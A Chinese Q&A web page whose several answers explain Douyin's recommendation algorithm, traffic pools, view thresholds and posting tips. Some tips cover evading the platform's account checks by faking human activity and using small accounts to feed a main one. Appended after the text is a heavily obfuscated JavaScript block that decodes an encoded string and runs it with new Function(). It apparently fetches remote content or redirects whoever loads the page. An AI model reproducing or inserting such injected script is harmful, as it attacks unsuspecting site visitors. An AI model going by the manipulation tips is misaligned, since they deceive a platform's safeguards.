推荐回答(5个)
一、智能算法的推荐原理
智能算法推荐的本质,是从一个聚合内容池里面给当前用户匹配出最感兴趣的内容。
这个内容池,每天有几十上百万的内容,涵盖15s短视频、1min长视频、5min超长视频。
而在给用户匹配内容的时候,平台主要依据3个要素:内容、用户以及用户对内容的感兴趣程度。
系统是怎么理解我们创作的内容呢?
平台在做内容刻画的时候,主要会依托于关键词识别技术:通过提取文案、视频中的关键词,根据关键词将内容进行粗分类,然后根据细分领域的关键词,再对分类进行细化。
比如,视频文案及内容的关键词是“罗纳尔多、足球、世界杯”。
大部分关键词都属于体育类词汇,就会先把你的作品分到体育大类,然后根据具体的关键词,再细分到“足球”、“国际足球”等二三级类目。
内容刻画
关键词提取原则:
1)高频词原则:系统从作品、文案中提取高频出现的词汇;
2)独特性规则:大部分文案、内容出现的词,不会被认为是关键词。
比如虚词(的、地、得、而、对于……);
比如转折词(虽然、但是、因为、所以……)。
独特性原则
怎么才能让系统更好的识别我们的关键词呢?
1)避免使用非常规词。比如:活久见、城会玩、腿玩年、DBQ……
2)名人/地名用全程,不用缩写或外号。比如:詹姆斯vs詹皇,广西、广东vs两广地区,香港、澳门vs港澳……
3)多用具有代表性的实体词。实体词就是一些名词和代词,比如人名、地名、公司名称等。
例如:《流动着的舞台,街头中的故事》,在这个文案中,我们很难提取出有意义的实体词,我们对它进行优化:《印度就是脏乱差?这组图片让你看清印度的另一面,与想象中大不同》

优化后,我们这个就能提取出“印度”这个实体词,知道是跟印度有关的内容,进一步提取,还会发现“脏乱差”、“图片”这些有意义的词汇。
系统是怎么理解用户的?
为了更好的理解用户需求,系统会从多个角度进行用户画像:
1)历史浏览信息(从作品文案、内容中的关键词提取)
2)身份标签(兴趣标签、职业、年龄、性别、机型……)
3)环境特征:根据他们当前的环境(工作、通勤、旅游、娱乐场所、休息……),确认用户的状态
用户刻画
通过这一系列的比对、分析,系统推测还原出一个用户的基本属性,比如:Ta可能是一个正在旅游的男性,喜欢足球、汽车等分类。
系统会把上述的用户特征,归类为这个用户的标签。
用户标签主要分为3大类:
1)用户的基本信息(年龄、性别、地域);
2)用户的行为信息(关注账号,历史流浪记录,点赞收藏的内容、音乐、话题);
3)阅读兴趣(阅读行为、用户聚类、用户标记)。
系统根据用户的信息和行为,对用户进行分析计算,计算出用户喜好的分类、话题、人物等其他信息,这样就完成了系统对用户的刻画。
推荐算法的本质
利用作品的特征(主题词、标签、热度、转发、时效、相似度)、用户喜好特征(短期点击行为、兴趣、职业、年龄、性别等),以及环境因素(地域、时间、天气、网络环境),拟合一个用户对内容满意的函数,它会估算用户对每一个作品的点击概率,然后再从系统几十上百万的内容流量池中,将所有的作品按照兴趣由高到低排序,Top10的作品在此时会脱颖而出,被推荐到用户的手机上进行展现。
大概就是这个样子想学的可以私信小编
抖音算法揭秘,百万粉丝的背后逻辑
百度有百度的算法、微信有微信的算法、头条也头条的算法,算法是任何平台必不可少的机制,今天就来分享一下抖音的算法机制。
一、科普
算法是什么?
简单通俗的讲,算法就是一套评判机制。这套机制对平台的所有用户都有效,无论是内容生产者(拍视频的人)或内容消费者(看视频的人),很多时候我们既是生产者也是消费者。
我们在平台上的每一个动作都像是一个清晰的指令,平台根据这些指令来判断我们的性质。并将我们分为优质用户、沉默用户、流失用户、可挽回用户等;
除此之外,它还会判断我们是否为营销号,有没有违规操作。如果是平台就会将我们的账号关进小黑屋;相反如果判断出我们是一个优质的用户,平台就会给予我们一定扶持。
算法有什么用?
算法对于平台最大的用处是管理自己平台上的用户数据,并且根据用户的一系列反馈行为来改进平台功能,提高用户体验从而使平台吸引更多用户、留住更多用户,最终使平台形成一个可循环的良性生态。
算法有什么好处?
算法对内容生产者的好处:
我们既然想在别人的地盘为自己吸粉,就一定要明白别人的规则。就像追一个女孩子你得明白女孩子的喜恶,才有机会见缝插针地进入她的心。更何况,读懂平台比读懂女孩子容易的多!只要我们意识到平台的推荐机制,我们便可以有意识的设计自己的行为,引导平台判定我们是优质用户从而分配给我们更多、更精准的流与更高的权限。
算法对内容消费者的好处:
大家刷淘宝、抖音或者头条刷的某一类内容多了,下次再打开APP时是否觉得很多推荐的内容都是自己比较喜欢比较有兴趣看的?其实平台为了提升用户体验为了留住你。它会根据你的行为来分析你的兴趣,然后给你打上一个标签再将同类标签的内容生产者的内容推荐给你,你们便是一个池子里的人。
总之,推荐算法会为我们匹配到我们想要的东西。为内容生产者匹配到精准的用户,为内容消费者匹配到感兴趣的内容。
明白了算法是什么以及它的重要性以后去任何平台引流的第一件事就是先了解平台的算法,而不是傻兮兮的去引流,这样只会被平台判断为营销号然后被封杀。
二、审核
抖音是一个去中心化的平台,这就意味着任何一个账号都有机会拥有百万粉丝甚至千万粉丝。即便我们没有一点流量,只要我们的内容受欢迎,就会被越来越多的人关注。
当我们发布视频的时候平台会进行一次审核,这时候主要是审核我们的作品有没有违规。例如有没有出现广告、有没有带水印或者LOGO、内容是否不雅血腥等,如果出现平台禁止的内容我们的视频就会被打回或者被限流(只有你自己可以看见你发布的内容)。
如果没有出现任何的违规现象,平台就会给我们通过。这个时候是内容才会正式出现在用户眼前。
三、智能分发
我们新发布的视频平台会根据我们账号的权重给予一定的初始推荐流量,初始推荐优先分发给附近的人与关注我们的粉丝,然后才是配合用户标签与内容标签进行智能分发。
四、叠加推荐
当平台将我们的作品分发给初始流量,平台会根据初始流量的反馈来判断我们的内容是否受欢迎,如果受欢迎平台会将我们的作品分发给更多流量,反之就不会再给我们分发流量。
这里的重要反馈指标有:播放量(完播率)>点赞量>评论量>转发量。
第一次推荐根据账号的权重不同大概会给200—500的流量,如果被推荐的作品以上数据反馈较好(有百分之10的点赞和几条评论以及60%完播率等)平台就会判定我们的内容是比较受欢迎的,便会给第二次推荐。
第二次大概会推荐1000—5000左右的流量;第二次推荐的反馈较好平台将推荐第三次,第三次就是上万或者几十万的流量,一直以此类推。要是反馈依然较好平台就会以大数据算法结合人工审核的机制,衡量你的内容可不可以上热门。
一般一个视频发布1个小时内,视频播放量达到5000以上,并且点赞数高于100,评论数高于 10 基本上就会给下一级推荐了。
之前也有人问说自己的视频一直很冷,但为什么因为一条视频反馈挺好的,突然又火了起来?
这里需要注意一点:抖音会挖坟。
挖坟就是指即使你前面发布的视频反馈不是很好,但是突然有一条视频的反馈很好用户很喜欢,平台就会认为你的视频受用户喜欢便会扶持你,而喜欢你视频的用户往往会去你的主页看其它视频,越点越看平台就会认为你的其余视频也很受欢迎,所以还会推荐你的老视频。
与之相反的是,即使前期你的视频反馈很好流量很大,但只要有一条视频违规你的账号就会被降权从而被限流或者封号。所以千万不要因为自己的粉丝有点多了而沾沾自喜,要居安思危,时时刻刻维护好自己的账号才是王道。
五、流量池
抖音有低级流量池、中级流量池、高级流量池之分,不同权重的账号会被分配到不同的流量池,也就会获得不同的曝光量。
被分配的高低取决于内容的受欢迎程度。
上述的5个作品的反馈数据(含播放完成率)非常重要,根据这五个参数平台会将你分配到相应的流量池。可以说是影响你的账号能不能做起来的直接因素,如果持续一周发布的作品播放量在 100 以下就会被视为低级号或者是废号,平台很少会给推荐;持续一周发布的作品播放量徘徊在300左右的号为最低权重号只会被分配到低级流量池,要是一个月后没有突破300左右的播放量同样会被视为僵尸号。
播放量持续上千则是待上热门账号,只需要蹭蹭热点就可以轻松热门了。
如果账号的流量一直上不去就放弃那个账号,重新申请一个账号来玩儿吧,因为再怎么搞它都很有可能是那样。
上面讲的是抖音算法,我们摸清了算法就能投机取巧地引导抖音给我们打上优质用户的标签,从而提高账号权重分配给我们更多流量。
六、禁忌
1、视频里面带有硬广、LOGO、水印、烟酒、纹身、涉政、诋毁侮辱他人、着装暴露、内容低俗不雅、色情与频繁私信粉丝、抄袭、冒充抖音官方人员、带有黄赌毒血腥武器(刀枪等)的视频可能会不给通过。如果被抖音检测到有违规行为便会受到一定处罚:
(1)限制流量,屏蔽热门。这个主要是因为广告太多和频繁抄袭导致。
(2)屏蔽某些功能或者限制使用某些功能。这个主要是因为抖音检测到你在利用某些功能频繁发广告,例如私信别人。
(3)删除视频并且封号数日。这个主要是因为内容低俗或者存在很大争议导致。
(4)关进小黑屋,永久封号。违规严重或者多次违规就会被封号。
2.使用模拟器频繁登录账号。
(1)频繁切换帐号
(2)同IP下挂十几个账号
七、账号优化
1.前期养号,提高权重。
上面讲了平台有算法系统检测我们的账号是否为营销号;如果是会被直接封号,即使没有打广告用崭新的号发布的视频也得不到什么流量扶持,因为你前期没有任何操作,平台也无法判断你是什么领域的账号,无法给你打标签,所以系统不会多作推荐。
我们刚注册一个账号,第一件事就是养号。无论什么平台都是这样,养号无非就是模拟人工操作,例如每天去刷视频(一个一个的看完)、关注别人、给别人的内容点赞评论转发、每天至少看半小时的直播(也可以把直播打开不看就挂在手机上)。
账号至少也得养3天,最好养一周。大家关注别人的时候可以去关注自己的同行。账号养到3天左右我们就可以绑定手机然后将账号信息一一完善。
账号又分为两种:
(1)自用号:用户拿手机号注册的账号;在真正使用且活跃,这类帐号的权重比较高。
(2)三方号:用QQ、微信、微博等第三方平台登录的帐号,没有用手机注册也没有绑定手机。
2.后期日更,保持活跃。
日更好的内容能使系统检测你是一个活跃的优质的账号因此平台不会降你的权。
八、内容优化
1.垂直。你是做美容类的视频就不要发一些与美容无关的视频,以免系统不能准确识别你是什么领域的账号从而给你打错标签或者不打标签,这样会导致你的账号权重上不去导致流量少与不精准。
2.原创。最好不要抄袭,其实搬运别人的视频比自己拍一个视频还麻烦而且搬运越来越玩不起来啦。
3.蹭热点话题和热门音乐。没事儿多参与热门话题,用用热门音乐效果会更好。老王不是让你什么话题最热就去蹭什么话题,找与自己领域相关同时又很火的话题去蹭!
4.7-15 秒。视频时间太短表现不出什么,没有可看性;太长又影响完播率,所以前期视频控制在 7-15 秒为最佳。
5.竖屏拍摄。抖音这个产品设计时就是以竖屏为主,用户习惯也是竖屏刷视频,竖屏的播放率会比横屏高。
6.参与挑战。尤其是官方发起的挑战,它的目的就是引导用户发布此类的视频,所以会给予一定的支持。
7.拍摄内容高清勿模糊。拍的时候买一个手机支架保持稳定性,再买一个补光灯让自己拍出来的视频是明亮简洁的,这些东西上淘宝百元内就可以搞定。
九、发布优化
1.在12:00—2:00;6:00—11点发布。这些时间段休息的人多,闲着刷抖音的人也多所以在这个时间段发布很容易被刷到。要注意的是我们最好提前10分钟发布因为平台会有一个审核时间,这个审核时间快则一两分钟慢则十几分钟。
2.定位到人群密集的地方发布。还记得老王讲过抖音有一个优先向附近的人推荐的机制吗?
3.积极引导点赞、评论、分享。
4.视频的文案描述。描述可以以疑问句等方式出现从而引导观看的人点赞评论转发。
5.@抖音小助手。这个不做过多解释,之前讲过很多。
6.参与话题。和玩微博的话题一样,可以增加一定的曝光。
7.封面。封面做的好别人更有欲望看。
以上就是抖音的简单算法以及优化建议,希望对你有帮助!
首先抖音平台的流量分发是有几个等级的。那么我们刚发上去的视频都会被放到初级流量池中,给一个最基础的流量几百或者几千个播放量,然后通过看过这些视频的用户行为来判断是不是继续给这个视频流量。那么有哪些行为呢?

用户在看视频时停留的时间长度,是看完了,还是没看几秒就划过去了?还是重复的看了几遍?也就是我们所说的,完播率和复播率。看完了证明这个视频他比较有兴趣看完,看了几遍有可能是很喜欢这个视频。
那么这个用户对这个视频很喜欢他点了赞并且写了评论,还把视频转发给朋友,还下载下来了。并且有这个行为的用户有很多发给100个人看有八九十都是很喜欢,那么抖音平台就会把这个视频发给更多的人看,就进入到下一个级别的流量池了。那么越来越多的人看到了,越来越多的人喜欢,这个视频得到平台的流量推送也就原来越多了。
所以决定一个视频的推送流量是通过用户的六种行为决定的:完播率、复播率、点赞率、评论率、转发率、停留时间。
抖音的推荐机制主要根据抖音的推荐算法来通过分流的方式来给你的账号或作品流量;可能有些人的账号或是作品违反了抖音的规则,抖音从一开始就不会给你流量。
抖音的推荐机制算法
当你把作品放到抖音上面的时候,会给你一波流量,我把它叫着裁判流量一般是30到300,然后呢?根据裁判流量的用户行为来决定是否给你下一波流量, 用户行为差,不好意思不给你了, 用户行为好,它会继续给你流量。
用户行为好之后呢,就是给你第二波流量,根据第二波流量的用户反馈,如果说用行为差不给你流量,第二波的,如果第二波的裁判流量的用户行为好,继续给你的第三波的流量,再根据第三波的裁判流量的用户行为来决定是否给你下一波流量,一直这样循环。直至推到全网皆知。
抖音的推荐机制:
新发布的视频会先进入低级别的流量池,根据点赞、转发、评论等数据,数据较好的会推荐到更高一级的流量池。
因此我们可以通过矩阵的方式来增加流量,用小号为大号引流。
其次,也可以通过工具培养账号垂直度,增加账号权重。 或筛选精准行业粉丝,帮助企业做定向营销。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();